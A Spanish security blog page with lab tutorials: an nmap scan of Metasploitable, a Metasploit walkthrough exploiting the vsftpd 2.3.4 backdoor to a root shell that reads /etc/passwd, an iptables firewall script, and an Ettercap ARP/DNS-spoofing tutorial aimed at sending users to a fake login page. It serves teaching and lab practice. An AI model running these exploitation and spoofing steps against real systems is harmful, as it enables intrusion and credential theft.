En el resultado podremos ver mucha información que os adjunto a continuación ( es un poco largo, y hay que leer!!! ). OS puesto en rojo, dos de los resultados que aparecen para llamar vuestra atención. El puerto 21/tcp, ftp, que más adelante utilizaremos para el ataque, y el 3306/tcp, mysql.

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2017-08-09T05:55:28+00:00; -3s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 33319/udp mountd
| 100005 1,2,3 51227/tcp mountd
| 100021 1,3,4 42785/tcp nlockmgr
| 100021 1,3,4 51194/udp nlockmgr
| 100024 1 39251/tcp status
|_ 100024 1 58035/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open java-rmi Java RMI Registry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 8
| Capabilities flags: 43564
| Some Capabilities: SupportsCompression, Support41Auth, SupportsTransactions, LongColumnFlag, ConnectWithDatabase, Speaks41ProtocolNew, SwitchToSSLAfterHandshake
| Status: Autocommit
|_ Salt: '`1qh8y|%=D~q9fu<gu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2017-08-09T05:55:26+00:00; -4s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
| irc-info:
| users: 1.0
| servers: 1
| lusers: 1
| lservers: 0
| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 0:26:19
| source ident: nmap
| source host: D2950D63.85216C96.FFFA6D49.IP
|_ error: Closing Link: crterltxn[192.168.50.51] (Quit: crterltxn)
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
44271/tcp closed unknown
44978/tcp closed unknown
54319/tcp closed unknown
55459/tcp closed unknown

MAC Address: 00:0C:29:2E:33:D4 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.016 days (since Wed Aug 9 07:33:44 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: -3s, deviation: 0s, median: -4s
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| METASPLOITABLE<00> Flags: <unique><active>
| METASPLOITABLE<03> Flags: <unique><active>
| METASPLOITABLE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP\x00
|_ System time: 2017-08-09T01:55:26-04:00

TRACEROUTE
HOP RTT ADDRESS
1 0.16 ms 192.168.50.50
NSE: Script Post-scanning.
Initiating NSE at 07:56
Completed NSE at 07:56, 0.00s elapsed
Initiating NSE at 07:56
Completed NSE at 07:56, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 76.41 seconds
Raw packets sent: 66 (5.304KB) | Rcvd: 61 (4.964KB)

METASPLOIT PUERTO 21

Qué más podemos probar para cotejar resultados…Pues ir lanzando scripts predeterminados de nmap. En nuestro caso, y para no hacerlo de forma indiscriminada contra todos los puertos abiertos, utilizamos puerto tcp/21 -ftp-:

auth

These scripts deal with authentication credentials (or bypassing them) on the target system. Examples include x11-access, ftp-anon, and oracle-enum-users. Scripts which use brute force attacks to determine credentials are placed in the brute category instead

root@kali:~#nmap -p 21 -sS -sV -v --script auth 192.168.50.50

vuln

These scripts check for specific known vulnerabilities and generally only report results if they are found. Examples include realvnc-auth-bypass and afp-path-vuln.

root@kali:~#nmap -p 21 -sS -sV -v --script vuln 192.168.50.50

Podemos buscar con la orden searchsploit (siempre que esté actualizado) si hay algún tipo de vulnerabilidad.

root@kali:~#searchsploit vsftpd

------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
------------------------------------------- ----------------------------------
vsftpd 2.0.5 - 'CWD' Authenticated Remote Me | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (M | unix/remote/17491.rb
------------------------------------------- ----------------------------------

Eurka!!! En nuestro caso, vemos que la propia herramienta nos indica un “Backdoor command Execution” sobre la versión que nos indicaba el nmap.

Podemos cotejar el resultado con búsquedas en la web

Podemos ver como instalar el módulo de metasploit en Kali en el siguiente enlace:

https://docs.kali.org/general-use/starting-metasploit-framework-in-kali

Veamos como conseguir el acceso root con metasploit:

root@kali:~# service postgresql start

root@kali:~# msfdb init

Creating database user 'msf'

Ingrese la contraseña para el nuevo rol:

Ingrésela nuevamente:

Creating databases 'msf' and 'msf_test'

Creating configuration file in /usr/share/metasploit-framework/config/database.yml

Creating initial database schema

root@kali:~# msfconsole

http://metasploit.com

=[ metasploit v4.14.28-dev ]

+ -- --=[ 1662 exploits - 951 auxiliary - 293 post ]

+ -- --=[ 486 payloads - 40 encoders - 9 nops ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/unix/ftp/vsftpd_234_backdoor

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOST yes The target address

RPORT 21 yes The target port (TCP)

Exploit target:

Id Name

-- ----

0 Automatic

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.50.50

RHOST => 192.168.50.50

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOST 192.168.50.50 yes The target address

RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(vsftpd_234_backdoor) > exploit

[*] 192.168.50.50:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.50:21 - USER: 331 Please specify the password.
[+] 192.168.50.50:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.50:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.51:40701 -> 192.168.50.50:6200) at 2017-08-09 09:04:19 +0200

ls /home
ftp
msfadmin
service
user

whoami
root

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh

Prueba superada …. 🙂

Estamos listando el contenido de la carpeta home de la máquina remota. Para comprobarlo hacemos de forma local en la máquina metasploitable un ls /home y vemos que el resultado es el mismo.

Ya tenemos acceso root sobre el objetivo para ejecutar cualquier comando… Nosotros hemos sido benévolos, que es de lo que se trata.

August 10, 2017 0 comment

Linux Security

Linux – Firewall Completo con estados 1ª Parte

written by José Luis Sánchez Borque

En este Post demostraremos como configurar un enrutador linux que actúe como firewall entre dos redes. La idea es proporcionar las herramientas básicas para que luego se pueda adaptar al entorno particular de cada instalación.

Objetivos

Montar un laboratorio como simulación de un entorno real
Configurar una máquina Linux Ubuntu 16.04 LTs como enrutador y firewall
Aprender conceptos de POSTROUTING y PREROUTING
Utilizar nmap para verificar puertos abiertos
Trabajar con estados
Utilizar Kfsensor como Windows HoneyPot para simular aplicaciones y protocolos abiertos

Prerequisitos

Leer los anteriores Post al respecto de IPtables y firewalls en general

Descripción del escenario

Virtualizaremos una red Interna (192.168.50.0/24) con acceso a Internet mediante un firewall linux. La salida a Internet se realiza a través de la conexión típica de cualquier hogar. En nuestro caso ISP ORANGE

P10_Esquema_laboratorio

Es clave entender que la RED-LOCAL está detrás del enrutador, y NO es conocida por ninguna máquina de la red 192.168.1.0/24.

Desde la máquina wsrv12.profe.local podemos ver que no tenemos conectividad con dicha máquina

C:\>tracert -d -h 3 192.168.1.212

Tracing route to 192.168.1.212 over a maximum of 3 hops

1 <1 ms <1 ms <1 ms 192.168.50.254
 2 * * * Request timed out.
 3 * * * Request timed out.

Trace complete.

C:\>ping 192.168.1.212 -n 1

Pinging 192.168.1.212 with 32 bytes of data:
Request timed out.

Ping statistics for 192.168.1.212:
 Packets: Sent = 1, Received = 0, Lost = 1 (100% loss),

Si reflexionamos el esquema, los paquetes realmente llegan al PC con ip 192.168.1.212, pero este no tiene ninguna ruta en su tabla de enrutamiento que le indique como volver. Podemos ver, filtrando la tabla de enrutamiento del PC, como no hay entrada apuntando a la red 192.168.50.0 que le permita volver.

C:\Users\usuario>route print | find /i "192.168.50.0"
... sin ningún resultado ...
C:\Users\usuario>

Solo a modo ejemplo, y para aprender más, añadiremos una entrada apuntando a la red 192.168.50.0/24 y veremos que todo funciona. Luego la borramos, y vemos que ya no la tenemos

C:\Windows\system32>ROUTE ADD 192.168.50.0 MASK 255.255.255.0 192.168.1.216
 Correcto

C:\Windows\system32>ROUTE PRINT | FIND /I "192.168.50.0"
 192.168.50.0 255.255.255.0 192.168.1.216 192.168.1.212 51

C:\Windows\system32>ping 192.168.50.1 -n 1

Haciendo ping a 192.168.50.1 con 32 bytes de datos:
Respuesta desde 192.168.50.1: bytes=32 tiempo<1m TTL=127

Estadísticas de ping para 192.168.50.1:
 Paquetes: enviados = 1, recibidos = 1, perdidos = 0
 (0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
 Mínimo = 0ms, Máximo = 0ms, Media = 0ms

C:\Windows\system32>ROUTE DELETE 192.168.50.0 MASK 255.255.255.0
 Correcto

C:\Users\usuario>PING 192.168.50.1 -n 1

Haciendo ping a 192.168.50.1 con 32 bytes de datos:

Tiempo de espera agotado para esta solicitud.

Estadísticas de ping para 192.168.50.1:
 Paquetes: enviados = 1, recibidos = 0, perdidos = 1
 (100% perdidos),

Recordemos habilitar el protocolo icmpv4 en el firewall de Windows, sin desactivar TODO, que luego decimos que el Windows no es seguro.. Ya os vale!!!

Detallamos a continuación las reglas que queremos activar en nuestro firewall.

Especificaciones firewall

Política por defecto DROP
Permitir apt-get..
Permitir consultas DNS a la red interna
Permitir administrar vía ssh desde red externa
Permitir acceso a Webmin desde red interna
Permitir icmp al firewall, y desde red interna hacía fuera
Mapear los puertos smtp (tpc/25), pop3 (tcp/110) y http (tcp/50) contra el servidor interno
Los puertos 25, 110 y 80 estarán simulados vía honeypot kfsensor
Trabajar con estados solo en TCP, aunque es posible en icmp y udp también… Próximo Post 🙂

Dedicaremos más adelante un Post a utilizar kfsensor como Honeypot para la detección de intrusos. De momentos os pongo los puertos configurados en entorno simulación:

Recordar que en el Post Tutorial iptables II entendiendo el flujo de paquetes encontraremos los pasos para activar el enrutamiento en el router. Así mismo como convertir el fichero rules.fw en ejecutable y hacer que se ejecute al principio lo tenemos en el post Firewall Simple Entre redes

Veamos el script de iptables:

administrador@ubuntu:/etc/fw$ cat ./rules.fw

# Definicion de variables

RedInterna=192.168.50.0/24
 NicInt=ens34
 NicExt=ens33

# Inicializamos el Firewall

iptables -F
iptables -X
iptables -t nat -F
iptables -Z

# Polítca por defecto DROP

iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Permitimos todo para el interface de blucle local loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# ACTIVAMOS NAT EN IP ORIGEN SOBRE INTERFACE EXTERNA, PARA TENER ENRUTAMIENTO

iptables -t nat -A POSTROUTING -s $RedInterna -o $NicExt -j MASQUERADE

# PUERTO + REGLAS HTTP 80 MAPEADO A MAQUINA INTERNA

iptables -t nat -A PREROUTING -i $NicExt -s 192.168.1.0/24 -p tcp --dport 80 -j DNAT --to-destination 192.168.50.1:80

iptables -A FORWARD -s 192.168.1.0/24 -i $NicExt -d 192.168.50.1 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A FORWARD -s 192.168.50.1 -i $NicInt -d 192.168.1.0/24 -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT

# PUERTO + REGLAS POP3 110 MAPEADO A MAQUINA INTERNA

iptables -t nat -A PREROUTING -i $NicExt -s 192.168.1.0/24 -p tcp --dport 110 -j DNAT --to-destination 192.168.50.1:110

iptables -A FORWARD -s 192.168.1.0/24 -i $NicExt -d 192.168.50.1 -p tcp --dport 110 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A FORWARD -s 192.168.50.1 -i $NicInt -d 192.168.1.0/24 -p tcp --sport 110 -m state --state ESTABLISHED -j ACCEPT

# PUERTO + REGLA SMTP 25 MAPEADO A MAQUINA INTERNA

iptables -t nat -A PREROUTING -i $NicExt -s 192.168.1.0/24 -p tcp --dport 25 -j DNAT --to-destination 192.168.50.1:25

iptables -A FORWARD -s 192.168.1.0/24 -i $NicExt -d 192.168.50.1 -p tcp --dport 25 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A FORWARD -s 192.168.50.1 -i $NicInt -d 192.168.1.0/24 -p tcp --sport 25 -m state --state ESTABLISHED -j ACCEPT

# PROTOCOLO ICMP DESDE Y HACIA EL ROUTER

iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT

iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT

# PROTOCOLO ICMP DESDE RED INTERNA HACIA EL EXTERIOR

iptables -A FORWARD -i $NicInt -s $RedInterna -o $NicExt -p icmp --icmp-type echo-request -j ACCEPT
iptables -A FORWARD -i $NicExt -d $RedInterna -o $NicInt -p icmp --icmp-type echo-reply -j ACCEPT

# PROTOCOLO DNS UDP TANTO PARA EL ROUTER COMO PARA LA RED INTERNA
# NECESARIO PARA apt-get update... etc

iptables -A OUTPUT -o $NicExt -p udp --dport 53 -j ACCEPT
iptables -A INPUT -i $NicExt -p udp --sport 53 -j ACCEPT

iptables -A FORWARD -i $NicInt -s $RedInterna -o $NicExt -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -i $NicExt -d $RedInterna -o $NicInt -p udp --sport 53 -j ACCEPT

# PERMITIMOS EL PROTOCOLO HTTP Y HTTPS DESDE LA RED INTERNA

iptables -A FORWARD -i $NicInt -o $NicExt -s $RedInterna -p tcp -m multiport --dports 80,443 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i $NicExt -o $NicInt -d $RedInterna -p tcp -m multiport --sports 80,443 -m state --state ESTABLISHED -j ACCEPT

# PERMITIMOS HTTP Y HTTPS DESDE EL PROPIO SERVIDOR. PARA TEMAS DE apt-get...

iptables -A OUTPUT -o $NicExt -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -i $NicExt -p tcp -m multiport --sports 80 -m state --state ESTABLISHED -j ACCEPT

# PERMITIMOS ADMINISTRAR POR SSH EL SERVER DESDE LA RED EXTERNA

iptables -A INPUT -i $NicExt -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -o $NicExt -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT

# PERMITIMOS ADMINISTRAR POR WEBMIN EL SERVER DESDE LA RED INTERNA.

iptables -A INPUT -i $NicInt -p tcp --dport 10000 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -o $NicInt -p tcp --sport 10000 -m state --state ESTABLISHED -j ACCEPT

Verifiquemos desde la máquina PC (192.168.1.212) los puertos abiertos del router detectados desde fuera con nmap ( Zenmpa ):

Verifiquemos el funcionamiento mapeo del puerto 80 desde la máquina PC ( .1.212)

Verifiquemos desde máquina PC (1.212) POP3 y SMTP desde línea de comandos mediante telnet ( podría ser Putty )

c:\windows>telnet 192.168.1.216 110

+OK Microsoft Windows POP3 Service Version 2.0 <7838610@profe.local> ready.
quit
+OK Microsoft Windows POP3 Service Version 2.0 <7838610@profe.local> signing off.

Se ha perdido la conexión con el host.

c:\windows>telnet 192.168.1.216 25

220 profe.local Microsoft ESMTP MAIL Service, Version: 6.0.3790.0 ready at Tue, 11 Jul 2017 17:27:06 +0200
quit
221 2.0.0 profe.local Service closing transmission channel

Se ha perdido la conexión con el host.

Veamos desde kfsensor como se detectan dichos accesos. Vemos solamente smtp (tcp/25) para no alargar demasiado el Post

Ahora veremos la conexión desde la red interna (máquina 192.168.50.1) hacía el exterior, icmp, dns, http y webmin:

C:\>ping 8.8.8.8 -n 1

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=21ms TTL=55

Ping statistics for 8.8.8.8:
 Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 21ms, Maximum = 21ms, Average = 21ms

C:\>nslookup www.cocacola.com
Server: localhost
Address: 127.0.0.1

Non-authoritative answer:
Name: a1128.g2.akamai.net
Addresses: 84.53.133.80
 84.53.133.67
Aliases: www.cocacola.com
 globalcokesites.edgesuite.net

En la segunda parte del Post trabajaremos a fondo los estados …. no seáis impacientes…

July 10, 2017 1 comment

Security

MITM (DNS Spoofing) Parte II Ataque DNS Spoofing

written by José Luis Sánchez Borque

En este post esplicaremos diferentes técnicas de MITM, como son sniffing, poisoning y dns spooffing para obtener datos valiosos de un usuario en red.

No olvidemos todo lo aprendido en el anterior Post MITM (DNS Spoofing) Parte I ENTENDER DNS queries y ARP

Para tenerlo más a mano, os vuelvo a poner aquí el esquema con todos los dispositivos implicados, clave para entender todo.

PC                       Internet Address      Physical Address
wsrv12.profe.local       192.168.50.1          00:0c:29:5a:a6:c5
gkali.profe.local        192.168.50.100        00-0c-29-d9-f8-31
pfsense.profe.local      192.168.50.254        00-0c-29-a6-aa-24

Para el ataque utilizaremos Ettercap, suite de herramientas incluidas en la distribución de Kali.

Podemos leer en su propia Web que la herramienta Ettercap es una suite completa para técnicas MITM. Cuenta con sniffing y filtrado de contenido en vivo y muchos otros trucos interesantes. Soporta métodos activos y pasivos sobre muchos protocolos de red, y muchas características para análisis de redes y de hosts.

El primer paso será configurar la herramienta adecuadamente. Procedemos en primer lugar a configurar el ARP Spoofing. Está técnica consiste en enviar tramas ARP REPLY a un objetivo de nuestra red, con los campos adecuadamente preparados para engañarlo.

En nuestro taller, la idea es colocar a la máquina gkali en medio de las comunicaciones del Servidor Windows 2012 y del Gateway. Para ello tendremos que “envenenar” adecuadamente las tablas ARP de ambos dispositivos para que todo el tráfico del servidor Windows destinado al Gateway y viceversa pasen por nuestra máquina gKali.

Veamos en primer lugar los valores de las tablas ARP en una situación normal, tanto en el WSRV12, como en la máquina pfsense:

C:\Users\Administrator>arp -a

Interface: 192.168.50.1 --- 0xc
  Internet Address      Physical Address      Type
  192.168.50.254        00-0c-29-a6-aa-24     dynamic
  192.168.50.100        00-0c-29-d9-f8-31     dynamic
  192.168.50.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static

[2.3.4-RELEASE][root@pfsense.profe.local]/root: arp -a
pfsense.profe.local (192.168.50.254) at 00:0c:29:a6:aa:24 on em1 permanent
? (192.168.50.1) at 00:0c:29:5a:a6:c5 on em1 expires in 1192 seconds 
? (192.168.50.100) at 00:0c:29:d9:f8:31 on em1 expires in 604 seconds
? (192.168.1.1) at a8:d3:f7:18:5c:00 on em0 expires in 1126 seconds
? (192.168.1.210) at 00:0c:29:a6:aa:1a on em0 permanent

Vemos que las MAC’s apuntan a las máquinas originales (repasar esquema!!!).

June 20, 2017 0 comment

Security

MITM (DNS Spoofing) Parte I ENTENDER DNS queries y ARP

written by José Luis Sánchez Borque

DNS spoofing es un método para alterar las direcciones de los servidores DNS que utiliza la potencial víctima y de esta forma poder tener control sobre las consultas que se realizan

Objetivos

Entender cómo funcionan las peticiones DNS y ARP
Entender la técnica de Man-In-The-Middle (MITM)
Trabajar con Kali 2017.1
Trabajar con técnicas de arp spoofing
Trabajar con técnicas de dns spoofing
Trabajar con Ettercap

Veamos en primer lugar el escenario del laboratorio de prácticas. En mi caso todas las máquinas están virtualizadas. La máquina Windows es un Controlador de Dominio que gestiona el dominio profe.local. Ahora no tiene ninguna relevancia, pero me servirá para próximos post. El router es un pfsense ( gran descubrimiento que requerirá mi atención en próximos post)

Los que quieran instalar Kali en entorno virtualizado, tienen un excelente Post para instalarlo sobre vmware workstation en el enlace adjunto, realizado por el gran Xavi Genestos @sysadmit, gracias Xavi y Pol Padrisa

http://www.sysadmit.com/2017/04/vmware-kali-linux-instalar.html

Esquema del laboratorio

Tengamos bien a mano las IP’s y direcciones MAC de todos los actores implicados.

Máquina                  Internet Address      Physical Address
wsrv12.profe.local       192.168.50.1          00:0c:29:5a:a6:c5
gkali.profe.local        192.168.50.100        00-0c-29-d9-f8-31
pfsense.profe.local      192.168.50.254        00-0c-29-a6-aa-24

Antes de intentar la técnica de spoofing, y como siempre me gusta decir, hay que entender los protocolos.

¿Cómo funcionan las peticiones DNS de un cliente?

Las peticiones dns de clientes -dns query/dns response-, utilizan el puerto udp/53.

En otros capítulos veremos que DNS también utiliza el protocolo TCP/53 para comunicaciones entre servidores. Por ejemplo, transferencias de zonas.

Veamos cómo funciona la típica consulta de un cliente preguntando por una dirección lógica (IP) de un nombre FQDN (por ejemplo www.cocacola.com , no tengo nada contra la pepsi). En primer lugar, y dado que nuestra intención es capturar las peticiones dns query del cliente, borraremos la Cache local DNS de la máquina Windows, o no obtendremos nada, ya que está en estaría en caché local y la consulta nunca se produciría. A menos que expiré el Time To Live del registro almacenado.

Podemos ver con la orden ipconfig /displaydns, las entradas que tenemos almacenadas en nuestro ordenador, y su tiempo de vida. Una vez transcurrido el tiempo de vida, se borra el registro y se produciría una consulta dns de necesitarse.

C:\>ping -n 1 www.cocacola.com

Pinging a1128.g2.akamai.net [84.53.133.80] with 32 bytes of data:

Reply from 84.53.133.80: bytes=32 time=102ms TTL=55

Ping statistics for 84.53.133.80:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 102ms, Maximum = 102ms, Average = 102ms

C:\>ipconfig /displaydns

Windows IP Configuration

    www.cocacola.com
    Record Name . . . . . : www.cocacola.com
    Record Type . . . . . : 5
    Time To Live  . . . . : 9
    Data Length . . . . . : 8
    Section . . . . . . . : Answer
    CNAME Record  . . . . : globalcokesites.edgesuite.net

Al final, lo que intentaremos con esta técnica es que el cliente aprenda una respuesta adecuadamente “tuenada”, que llevará al cliente donde nos interese.

Borramos la Cache DNS del servidor Windows wsrv12.profe.local

C:\>ipconfig /flushdns

Windows IP Configuration
Successfully flushed the DNS Resolver Cache.

A continuación realizaremos una consulta DNS. La petición en este caso la realizaremos utilizando el comando nslookup. Lo hacemos de esta manera para tener más recursos que el simple ping de toda la vida.

Preguntamos directamente al servidor dns de google (8.8.8.8) por el registro www.sport.es.

Muy Importante!!!!: antes de generar estos comandos, activaremos Wireshark en el propio Servidor Windows. De esta forma podremos capturar todas las tramas generadas.

C:\>nslookup www.sport.es 8.8.8.8

Server:  google-public-dns-a.google.com
Address:  8.8.8.8

Non-authoritative answer:
Name:    a1726.g1.akamai.net
Addresses:  84.53.132.200
            84.53.132.203
Aliases:  www.sport.es
          www.grupozeta.es.edgesuite.net

Como siempre, veremos infinidad de tramas. Adecuadamente filtradas obtendremos el resultado deseado:

Filtro wireshark:

(ip.addr eq 192.168.50.1 and ip.addr eq 8.8.8.8) and (udp.port eq 55407 and udp.port eq 53)

DNS query (la pregunta)

Aquí podemos ver una consulta estándar DNS. A parte de las MAC’s, IP’s y puerto UDP, es interesa ver la información que aparece en la capa de aplicación, donde vemos claramente que está preguntando por la dirección IP de www.sport.es.

DNS response (la respuesta)

Aquí vemos la respuesta. También de forma clara vemos que en la información de la capa de aplicación, aparece la respuesta (Answers) con la información. Recordar que la respuesta puede ser múltiple, es decir, varias IP’s asignadas a un mismo nombre lógico. Esto sucede en caso de tener las máquinas redundadas.

El objetivo… ser capaces de inyectar una respuesta dns adecuadamente preparada. Con una IP de un servidor nuestro, sobre el que colocaremos una Web falsa para que el usuario despistado coloque sus datos: nombre y contraseña.

¿Cómo funcionan ARP?

ARP, o Addres Resolution Protocol, tiene un función clave en la entrega de paquetes IP a nivel de red.

Sabemos que una dirección IP, es una dirección de capa 3 –Red-. Es necesaria para cualquier proceso de comunicación IP. Ahora bien, cuando un dispositivo de red debe entregar un paquete IP a otro dispositivo de su misma red (recalco, de su misma red), necesita la dirección MAC del ordenador destino, dirección de capa 2 o enlace, para poder entregarle el paquete.

Aquí es donde entra en funcionamiento el protocolo ARP. Si la dirección MAC no la tenemos en la tabla Arp Cache, datos que podemos comprobar con el comando arp -a en Windows , el ordenador origen lanzará una petición ARP Request a toda su red, MAC destino a FF:FF:FF:FF:FF:FF de capa 2, esperando que el ordenador destino le responda con una trama ARP reply, con la MAC. El resto de ordenadores no responderá a dicha petición.

Veamos la secuencia de tramas generadas por el siguiente, y sencillo, script de Windows, que ejecutaremos desde wsrv12.profe.local

arpsample.bat

@echo off
cls
ipconfig /flushdns
arp -d
ping -n1 gkali.profe.local
